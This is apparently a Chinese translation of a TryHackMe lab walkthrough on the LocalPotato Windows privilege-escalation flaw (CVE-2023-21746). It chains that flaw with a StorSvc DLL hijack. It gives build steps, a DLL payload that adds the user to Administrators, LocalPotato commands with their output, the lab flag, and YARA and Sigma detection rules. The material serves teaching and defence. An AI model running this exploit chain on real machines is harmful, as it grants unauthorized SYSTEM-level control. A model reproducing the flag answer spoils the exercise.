LocalPotato
LocalPotato
了解如何使用 LocalPotato (CVE-2023-21746) 在 Windows 上提升权限。
介绍
2022 年 9 月 9 日,Andrea Pierini(@decoder_it) 和 Antonio Cocomazzi(@splinter_code) 向微软报告了 Windows 中的一个本地权限升级(LPE)漏洞。该漏洞允许攻击者使用主机上的低权限账户,以 SYSTEM 权限读/写任意文件。
微软在 2023 年 1 月的 "星期二补丁 "中发布了该漏洞的修复程序,并随后于 2023 年 2 月 10 日发布了一个可行的概念验证(PoC)。该漏洞被指定为CVE-2023-21746
虽然该漏洞本身并不能直接允许以 SYSTEM 身份执行命令,但我们可以将其与多个载体相结合来实现这一结果。方便的是,2 月 13 日,BlackArrowSec 发布了另一个权限升级 PoC,它滥用了 StorSvc 服务,允许攻击者以 SYSTEM 身份执行代码,只要他们能将 DLL 文件写入 PATH 中的任何目录。
在这个房间里,我们将研究这两个漏洞,并将它们结合起来,以 SYSTEM 用户身份获取任意执行。
启动虚拟机
您需要按下任务顶部的绿色 "启动机器 "按钮,部署附加到该任务的虚拟机。机器应该以分屏视图启动。如果没有,则需要按下页面右上方的蓝色 "显示分屏视图 "按钮。所有房间都可以在分屏视图中完成,但如果你更喜欢通过 RDP 连接到机器,可以使用以下凭证:
回答下列问题
启动虚拟机后再继续。
NTLM 身份验证复习
在了解该漏洞的工作原理之前,让我们先快速复习一下 NTLM 身份验证。
NTLM 身份验证
NTLM 身份验证的通常情况是用户尝试对远程服务器进行身份验证。身份验证过程涉及三个数据包:
- 类型 1 消息:客户端发送一个数据包,协商身份验证过程的条款。数据包可选择包含客户机名称及其域。服务器收到该数据包后,可检查身份验证是否从另一台机器启动。
- 类型 2 信息:服务器向客户端回应一个挑战。挑战 是一个随机数,用于验证客户端,而无需通过网络传递其凭据。
- 类型 3 信息:客户端使用在第 2 类报文中收到的挑战,并将其与用户密码哈希值相结合,生成对挑战的响应。响应作为第 3 类报文的一部分发送给服务器。这样,服务器就可以检查客户端是否知道正确的用户密码哈希值,而无需通过网络传输。
NTLM 本地身份验证
NTLM 本地身份验证用于用户尝试登录在同一台机器上运行的服务。由于客户端和服务器应用程序都在同一台机器上,因此不需要挑战-响应过程。身份验证通过设置安全上下文以不同方式进行。虽然我们不会深入探讨安全上下文中包含的细节,但可以将其视为与连接相关的一组安全参数,包括会话密钥和将在连接中使用其权限的用户。
该过程仍涉及与之前相同的三条信息,但用于验证的信息有如下变化:
- 类型 1 信息:客户端发送此信息以启动连接。与之前一样,它用于协商身份验证参数,但也包含客户端机器的名称及其域。服务器可检查客户机的名称和域,如果与客户机的名称和域匹配,则开始本地身份验证过程。
- 类型 2 信息:服务器会创建一个安全上下文,并在此信息中将其 ID 发回给客户端。然后,客户端可以使用安全上下文 ID 将自己与连接关联起来。
- 类型 3 信息:如果客户端成功将自己与现有的安全上下文 ID 关联,则会向服务器发送空的第 3 类报文,表示本地身份验证过程成功。
由于所有步骤都在同一台机器上进行,因此无需像以前那样遵循 "挑战-响应 "方法。机器可以同时验证服务器和客户端应用程序的安全上下文 ID。
回答下列问题
点击并继续学习!
LocalPotato
LocalPotato PoC 利用 NTLM 身份验证(NTLM 本地身份验证)特例中的一个漏洞,诱骗有权限的进程对攻击者针对本地 SMB 服务器启动的会话进行身份验证。结果,攻击者最终会拥有一个连接,允许他访问具有被骗进程权限的任何共享,包括 C$
或 ADMIN$
等特殊共享。
漏洞利用的过程如下:
- 攻击者将触发一个特权进程连接到他控制的一个恶意服务器。这类似于以前的土豆漏洞利用,其中一个非特权用户可以强制操作系统创建使用特权用户(通常为SYSTEM)的连接。
- 恶意服务器将为特权连接实例化一个安全上下文A,但不会立即将其发送回来。相反,攻击者将启动一个恶意客户端,同时使用其当前的非特权凭据对本地SMB服务器(Windows文件共享)发起连接。客户端将发送Type1消息以启动连接,服务器将回复通过发送带有新的安全上下文B ID的Type2消息。
- 攻击者将交换两个连接的上下文ID,以便特权进程接收SMB服务器连接的上下文而不是自己的上下文。因此,特权客户端将使用攻击者创建的SMB连接的安全上下文B与其用户(SYSTEM)关联。结果,攻击者的客户端现在可以使用SYSTEM权限访问任何网络共享!
通过与 SMB 共享的特权连接,攻击者可以在任何位置读取或写入目标计算机的文件。虽然这无法让我们直接对有漏洞的机器运行命令,但我们将把它与另一种攻击载体结合起来,以达到这一目的。
请注意,该漏洞存在于 NTLM 协议而非 SMB 服务器中,因此理论上可以对任何利用 NTLM 身份验证的服务使用相同的攻击向量。但实际上,在选择攻击协议时必须注意一些问题。PoC 使用 SMB 服务器避免了其他协议针对类似攻击向量的一些额外保护,甚至实现了快速绕过,使漏洞攻击在 SMB 服务器上生效。虽然我们不会在此深入讨论这些技术细节,但您可以在原漏洞利用者的帖子中阅读到相关信息。
回答下列问题
点击并继续学习!
滥用 StorSvc 执行命令
到目前为止,我们已经使用 LocalPotato 向目标计算机写入了任意文件。要获得特权 shell,我们还需要弄清楚如何使用任意写入来运行命令。
最近,我们发现了另一种权限升级载体,攻击者可以劫持丢失的 DLL,以 SYSTEM 权限运行任意命令。这个载体的唯一问题是,攻击者需要将 DLL 写入系统的 PATH 才能触发它。默认情况下,Windows PATH 只包含只有特权账户才能写入的目录。虽然有可能找到安装了特定应用程序的机器改变了 PATH 变量,使机器变得易受攻击,但该攻击向量只适用于特定情况。将此攻击与 LocalPotato 结合使用,我们就能克服这一限制,获得完全有效的权限升级漏洞。
StorSvc 和 DLL 劫持
BlackArrowSec 发现,攻击者可以向StorSvc
服务提供的SvcRebootToFlashingMode
方法发送 RPC 调用,这反过来会触发加载名为SprintCSP.dll
的丢失 DLL 的尝试。
如果您对 RPC 不熟悉,可以将其理解为一种 API,它公开了一些函数,以便远程使用。在本例中,StorSvc
服务公开了SvcRebootToFlashingMode
方法,任何有访问权限的人都可以调用该方法。
由于 StorSvc 以 SYSTEM 权限运行,因此只要调用SvcRebootToFlashingMode
,就会在 PATH 的某个位置创建 SprintCSP.dll 并加载它。
编译漏洞
要使用这个漏洞,首先需要编译所提供的两个文件:
- SprintCSP.dll:这是我们要劫持的丢失的 DLL。漏洞利用程序提供的默认代码会运行 whoami 命令,并将响应输出到
C:\Program Data\whoamiall.txt
中。我们需要修改命令以运行反向 shell。 - RpcClient.exe:该程序将触发对 SvcRebootToFlashingMode 的 RPC 调用。由于不同的 Windows 版本使用不同的接口标识符来暴露
SvcRebootToFlashingMode
,因此您可能需要稍微编辑一下漏洞利用程序的代码,这取决于您所针对的 Windows 版本。
这两个文件的项目都可以通过 StorSvc\ 在 C:\tools\LPE 上找到。
我们先来处理 RpcClient.exe。如前所述,我们需要根据目标计算机的 Windows 版本更改漏洞利用程序。为此,我们需要修改C:\tools\LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c
的第一行,以便选择正确的操作系统。我们可以使用Notepad++
,右键单击文件并选择用Notepad++
编辑。由于我们的机器运行的是 Windows Server 2019,我们将编辑文件如下:
#if defined(_M_AMD64)
//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022
...
这将设置漏洞利用程序使用 Windows 2019 的正确 RPC 接口标识符。现在,代码已经更正,让我们使用桌面上的快捷方式打开开发人员命令提示符。我们将通过运行以下命令来构建项目:
C:\> cd C:\tools\LPE via StorSvc\RpcClient\
C:\tools\LPE via StorSvc\RpcClient> msbuild RpcClient.sln
... some output ommitted ...
Build succeeded.
0 Warning(s)
0 Error(s)
C:\tools\LPE via StorSvc\RpcClient> move x64\Debug\RpcClient.exe C:\Users\user\Desktop\
编译后的可执行文件将出现在桌面上。
现在要编译 SprintCSP.dll,我们只需修改C:\tools\LPE via StorSvc\SprintCSP\SprintCSP\main.c
中的DoStuff()
函数,使其执行一条命令,授予我们访问机器的权限。为简单起见,我们将使 DLL 把当前用户添加到 Administrators 组。下面是被替换命令的代码:
void DoStuff() {
// Replace all this code by your payload
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return;
}
现在我们编译 DLL,并将结果移回桌面:
C:\> cd C:\tools\LPE via StorSvc\SprintCSP\
C:\tools\LPE via StorSvc\SprintCSP> msbuild SprintCSP.sln
... some output ommitted ...
Build succeeded.
6 Warning(s)
0 Error(s)
C:\tools\LPE via StorSvc\SprintCSP> move x64\Debug\SprintCSP.dll C:\Users\user\Desktop\
现在,我们已经准备好启动完整的漏洞利用链!
回答下面的问题
编译两个漏洞利用文件并继续。
提升我们的权限
现在我们可以启动漏洞利用程序了。在继续之前,请确保您的桌面上有LocalPotato.exe
漏洞利用程序、RpcClient.exe
和SprintCSP.dll
文件。如果没有,请返回上一个任务构建它们。
首先验证当前用户不是管理员组的成员:
C:\> net user user
User name user
Full Name
... some output omitted ...
Local Group Memberships *Remote Desktop Users *Users
Global Group memberships *None
The command completed successfully.
要成功利用 StorSvc,我们需要将SprintCSP.dll
复制到当前 PATH 中的任意目录。我们可以运行以下命令来验证 PATH:
C:\> reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
Path REG_EXPAND_SZ %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;
%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\;
C:\Program Files\Amazon\cfn-bootstrap\
我们将以%SystemRoot%\system32
目录为目标,该目录展开为C:\windows\system32
。不过,你也可以使用任何一个目录。
为了确保万无一失,我们可以尝试直接将 DLL 复制到system32
目录,但我们的用户没有足够的权限这样做:
C:\Users\user\Desktop> copy SprintCSP.dll C:\Windows\System32\SprintCSP.dll
Access is denied.
0 file(s) copied.
通过使用 LocalPotato,即使我们使用的是非特权用户,也可以将 SprintCSP.dll 复制到 system32 中:
C:\Users\user\Desktop> LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll
LocalPotato (aka CVE-2023-21746)
by splinter_code & decoder_it
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABTIvXDdMIUbap+AepkeJ/yAcgAAMwIwArWEKZ3vRDmhjkAIwAHAEMASABBAE4ARwBFAC0ATQBZAC0ASABPAFMAVABOAEEATQBFAAAABwAxADAALgAxADAALgA0ADAALgAyADMAMQAAAAAACQD//wAAHgD//wAAEAD//wAACgD//wAAFgD//wAAHwD//wAADgD//wAAAAA=:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$ success
[+] SMB Create Request File: Windows\System32\SprintCSP.dll success
[+] SMB Write Request file: Windows\System32\SprintCSP.dll success
[+] SMB Close File success
[+] SMB Tree Disconnect success
有了 DLL,我们现在就可以运行RpcClient.exe
来触发对SvcRebootToFlashingMode
的调用,从而有效执行 DLL 中的有效载荷:
C:\Users\user\Desktop> RpcClient.exe
[+] Dll hijack triggered!
要验证我们的漏洞利用是否达到预期效果,我们可以检查我们的用户现在是否属于管理员组:
C:\> net user user
User name user
Full Name
... some output omitted ...
Local Group Memberships *Administrators *Remote Desktop Users
*Users
Global Group memberships *None
The command completed successfully.
要以管理员权限生成命令提示符,您可以右键单击并使用您的用户凭据以“管理员身份运行”。请记住,用户名为user
,密码为Password123
:
回答下面的问题
提升系统权限以获得管理控制台。
C:\users\administrator\desktop\flag.txt
中的标志值是多少?THM{local_potatoes_best_potatoes}
检测/缓解
既然我们已经了解了 Localpotato
exploit 是如何工作的,以及它是如何与 StorSrv 服务连锁以 SYSTEM 身份执行代码的,那么现在就来看看如何在系统内检测到它以及如何防止此类攻击。
由于这种攻击涉及在命令行终端运行的带有参数的可执行文件,因此检测这种活动的两种常见方法是使用模式匹配工具YARA检测文件模式,以及检查执行 localpotato.exe 这种黑客工具所产生的事件。
YARA rule
由于攻击使用了被称为localpotato.exe的黑客工具,我们可以使用YARA或其他检测工具(如THOR)扫描主机,创建一个YARA规则来检测系统中是否存在该工具。
YARA rule
rule detect_localpotato {
meta:
description = "Detects the localpotato exploit"
strings:
$CLSID = "854A20FB-2D44-457D-992F-EF13785D2B51"
$localpotato = {6c 6f 63 61 6c 70 6f 74 61 74 6f}
$ntlm = {4e 54 4c 4d}
$function = "NtQueryInformationProcess"
condition:
all of them
}
这条最小规则会在 localpotato 可执行文件中查找常见的字符串模式。
SIGMA
SIGMA是一种通用签名语言,用于根据事件日志中发现的模式编写检测规则。为了检测网络中的本地马铃薯,需要启用集中日志监控功能。以下 SIGMA 规则摘自SIGMA 官方资料库。
检测 LocalPotato
title: HackTool - LocalPotato Execution
id: 6bd75993-9888-4f91-9404-e1e4e4e34b77
status: experimental
description: Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples
references:
- https://www.localpotato.com/localpotato_html/LocalPotato.html
- https://github.com/decoder-it/LocalPotato
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023/02/14
tags:
- attack.defense_evasion
- attack.privilege_escalation
- cve.2023.21746
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith: '\LocalPotato.exe'
selection_cli:
CommandLine|contains|all:
- '.exe -i C:\'
- '-o Windows\'
selection_hash_plain:
Hashes|contains:
- 'IMPHASH=E1742EE971D6549E8D4D81115F88F1FC'
- 'IMPHASH=DD82066EFBA94D7556EF582F247C8BB5'
selection_hash_ext:
Imphash:
- 'E1742EE971D6549E8D4D81115F88F1FC'
- 'DD82066EFBA94D7556EF582F247C8BB5'
condition: 1 of selection_*
falsepositives:
- Unlikely
level: high
检测 Storsvc 和 SprintCSP.dll 劫持
在前面的任务中,我们了解到 localpotato 漏洞会与 Storsvc 结合,劫持 SprintCSP.dll 并作为 SYSTEM 执行。以下来自官方 GitHub 的 SIGMA 规则可用于检测这一活动。
title: Creation Of Non-Existent System DLL
id: df6ecb8b-7822-4f4b-b412-08f524b4576c
related:
- id: 6b98b92b-4f00-4f62-b4fe-4d1920215771 # ImageLoad rule
type: similar
status: experimental
description: Detects the creation of system dlls that are not present on the system. Usually to achieve dll hijacking
references:
- https://decoded.avast.io/martinchlumecky/png-steganography/
- https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
- https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/
- https://github.com/Wh04m1001/SysmonEoP
- https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
- https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc
author: Nasreddine Bencherchali (Nextron Systems), fornotes
date: 2022/12/01
modified: 2023/02/15
tags:
- attack.defense_evasion
- attack.persistence
- attack.privilege_escalation
- attack.t1574.001
- attack.t1574.002
logsource:
product: windows
category: file_event
detection:
selection:
- TargetFilename:
- 'C:\Windows\System32\WLBSCTRL.dll'
- 'C:\Windows\System32\TSMSISrv.dll'
- 'C:\Windows\System32\TSVIPSrv.dll'
- 'C:\Windows\System32\wow64log.dll'
- 'C:\Windows\System32\WptsExtensions.dll'
- 'C:\Windows\System32\wbem\wbemcomn.dll'
- TargetFilename|endswith: '\SprintCSP.dll'
filter:
Image|startswith: 'C:\Windows\System32\'
condition: selection and not filter
falsepositives:
- Unknown
level: medium
我们可以使用这些西格玛规则转换成现有的检测/监控工具,并搜索事件日志来寻找潜在的攻击。
缓解
为防止此类攻击,请考虑以下几点。
更新补丁:
随时更新安全补丁——localpotato
漏洞利用针对的是 Windows 操作系统中的一个漏洞。确保所有系统都更新了最新的安全补丁,以防止攻击者利用这一漏洞。此漏洞不会影响已打补丁的操作系统。
最小特权原则:
防止攻击者利用 localpotato 漏洞的方法之一是执行最小特权原则。这意味着只限制用户访问其履行工作职能所需的资源。这样,攻击者就不太可能获得执行漏洞利用所需的高级权限。
监控可疑活动:
使用 Splunk 等工具监控网络上的可疑活动。查找本地土豆攻击的迹象,如异常进程活动或执行恶意代码的尝试。
回答下面的问题
继续完成房间。
结论
在本房间中,我们介绍了如何通过将 LocalPotato 与不同的攻击向量相结合来实现权限升级。我们对每种攻击载体都进行了简明扼要的解释,但您可以通过阅读这两个漏洞的原始文章来进一步了解它们:
回答下面的问题
点击并继续学习!